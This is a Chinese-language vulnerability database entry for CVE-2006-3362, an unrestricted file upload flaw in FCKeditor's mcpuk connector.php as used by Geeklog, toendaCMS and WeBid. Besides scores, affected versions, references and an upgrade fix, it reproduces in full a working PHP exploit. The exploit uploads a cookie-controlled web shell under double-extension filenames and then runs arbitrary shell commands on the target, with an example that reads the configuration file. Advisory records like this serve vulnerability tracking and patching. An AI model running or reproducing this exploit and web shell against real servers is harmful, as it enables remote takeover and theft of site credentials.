CVE-2006-3362
CVSS5.1
发布时间 :2006-07-06 16:05:00
修订时间 :2011-03-07 21:38:28
NMCOE    

[原文]Unrestricted file upload vulnerability in connectors/php/connector.php in FCKeditor mcpuk file manager, as used in (1) Geeklog 1.4.0 through 1.4.0sr3, (2) toendaCMS 1.0.0 Shizouka Stable and earlier, (3) WeBid 0.5.4, and possibly other products, when installed on Apache with mod_mime, allows remote attackers to upload and execute arbitrary PHP code via a filename with a .php extension and a trailing extension that is allowed, such as .zip.


[CNNVD]Geeklog 'Connector.PHP' 任意文件上传漏洞(CNNVD-200607-043)

        (1) Geeklog 1.4.0到1.4.0sr3, (2) toendaCMS 1.0.0 Shizouka Stable 及之前版本, (3) WeBid 0.5.4以及可能的其它产品当中使用的FCKeditor mcpuk文件管理器中的connectors/php/connector.php存在无限制文件上传漏洞。在带mod_mime的Apache上安装时,可以使远程攻击者借助带有.php 扩展名和以容许的 .zip等扩展名结尾的文件名, 上传并执行任意PHP代码。

- CVSS (基础分值)

CVSS分值: 5.1 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:toenda_software_development:toendacms:0.7
cpe:/a:geeklog:geeklog:1.4.0Geeklog Geeklog 1.4.0
cpe:/a:toenda_software_development:toendacms:0.6.1
cpe:/a:toenda_software_development:toendacms:1.0
cpe:/a:geeklog:geeklog:1.4.0_sr2
cpe:/a:toenda_software_development:toendacms:0.6.2
cpe:/a:geeklog:geeklog:1.4.0_sr3
cpe:/a:geeklog:geeklog:1.4.0_sr1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3362
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-3362
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200607-043
(官方数据源) CNNVD

- 其它链接及资源

http://secunia.com/advisories/20886
(VENDOR_ADVISORY)  SECUNIA  20886
http://xforce.iss.net/xforce/xfdb/27494
(UNKNOWN)  XF  geeklog-connector-file-upload(27494)
http://xforce.iss.net/xforce/xfdb/27469
(UNKNOWN)  XF  geeklog-multiple-scripts-file-include(27469)
http://www.vupen.com/english/advisories/2006/2868
(UNKNOWN)  VUPEN  ADV-2006-2868
http://www.vupen.com/english/advisories/2006/2611
(UNKNOWN)  VUPEN  ADV-2006-2611
http://www.securityfocus.com/bid/30950
(UNKNOWN)  BID  30950
http://www.securityfocus.com/bid/19072
(UNKNOWN)  BID  19072
http://www.securityfocus.com/bid/18767
(UNKNOWN)  BID  18767
http://www.securityfocus.com/archive/1/archive/1/440423/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060717 ToendaCMS <= 1.0.0 arbitrary file upload
http://www.milw0rm.com/exploits/6344
(UNKNOWN)  MILW0RM  6344
http://www.geeklog.net/article.php/geeklog-1.4.0sr4
(UNKNOWN)  CONFIRM  http://www.geeklog.net/article.php/geeklog-1.4.0sr4
http://www.geeklog.net/article.php/exploit-for-fckeditor-filemanager
(UNKNOWN)  CONFIRM  http://www.geeklog.net/article.php/exploit-for-fckeditor-filemanager
http://secunia.com/advisories/21117
(VENDOR_ADVISORY)  SECUNIA  21117
http://retrogod.altervista.org/toenda_100_shizouka_xpl.html
(UNKNOWN)  MISC  http://retrogod.altervista.org/toenda_100_shizouka_xpl.html
http://milw0rm.com/exploits/2035
(UNKNOWN)  MILW0RM  2035
http://milw0rm.com/exploits/1964
(UNKNOWN)  MILW0RM  1964
http://xforce.iss.net/xforce/xfdb/27799
(UNKNOWN)  XF  toendacms-connector-file-upload(27799)

- 漏洞信息

Geeklog 'Connector.PHP' 任意文件上传漏洞
中危 输入验证
2006-07-06 00:00:00 2009-08-19 00:00:00
远程  
        (1) Geeklog 1.4.0到1.4.0sr3, (2) toendaCMS 1.0.0 Shizouka Stable 及之前版本, (3) WeBid 0.5.4以及可能的其它产品当中使用的FCKeditor mcpuk文件管理器中的connectors/php/connector.php存在无限制文件上传漏洞。在带mod_mime的Apache上安装时,可以使远程攻击者借助带有.php 扩展名和以容许的 .zip等扩展名结尾的文件名, 上传并执行任意PHP代码。

- 公告与补丁

        

- 漏洞信息 (1964)

GeekLog <= 1.4.0sr3 f(u)ckeditor Remote Code Execution Exploit (EDBID:1964)
php webapps
2006-06-29 Verified
0 rgod
N/A [点击下载]
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Geeklog <= 1.4.0sr3 'f(u)ckeditor' remote commands execution\n";
echo "by rgod rgod@autistici.org\n";
echo "site: http://retrogod.altervista.org\n";

//works regardless of any php.ini settings,
//fckeditor (very old 'mcpuk' version...) is enabled by default,
//and connector.php not protected,
//you can upload multiple extensions files...

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\n";
echo "host:      target server (ip/hostname)\n";
echo "path:      path to geeklog\n";
echo "cmd:       a shell command\n";
echo "Options:\n";
echo "   -p[port]:    specify a port other than 80\n";
echo "   -P[ip:port]: specify a proxy\n";
echo "Example:\n";
echo "php ".$argv[0]." localhost / cat ./../../../../config.php\n";
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
$cmd="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$shell="<?php echo chr(72).\"i Master!\";if(get_magic_quotes_gpc()){\$_COOKIE[\"cmd\"]=stripslashes(\$_COOKIE[\"cmd\"]);}";
$shell.="ini_set(\"max_execution_time\",0);error_reporting(0);";
$shell.="echo \"*delim*\";passthru(\$_COOKIE[\"cmd\"]);?>";
$allowed_extensions = array("zip","doc","xls","pdf","rtf","csv","jpg","gif","jpeg","png","avi","mpg","mpeg","swf","fla");
for ($i=0; $i<=count($allowed_extensions)-1; $i++){
$filename="suntzu.php.".$allowed_extensions[$i];
$data="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"NewFile\"; filename=\"$filename\"\r\n";
$data.="Content-Type:\r\n\r\n";
$data.="$shell\r\n";
$data.="-----------------------------7d529a1d23092a--\r\n";
$packet="POST ".$p."fckeditor/editor/filemanager/browser/mcpuk/connectors/php/connector.php?Command=FileUpload&Type=File HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);
$packet="GET ".$p."images/library/File/".$filename." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: cmd=".$cmd."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (eregi("Hi Master!",$html)){
echo"Exploit succeeded...!\n";
$temp=explode("*delim*",$html);
die($temp[1]);}
}
//if you are here...
echo "Exploit failed...";
?>

# milw0rm.com [2006-06-29]
		

- 漏洞信息

26935
FCKeditor on Apache connector.php Crafted File Extension Arbitrary File Upload
Remote / Network Access
Loss of Integrity Upgrade
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

2006-06-29 Unknow
2006-06-29 Unknow

- 解决方案

Upgrade Geeklog to version 1.4.0sr4 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站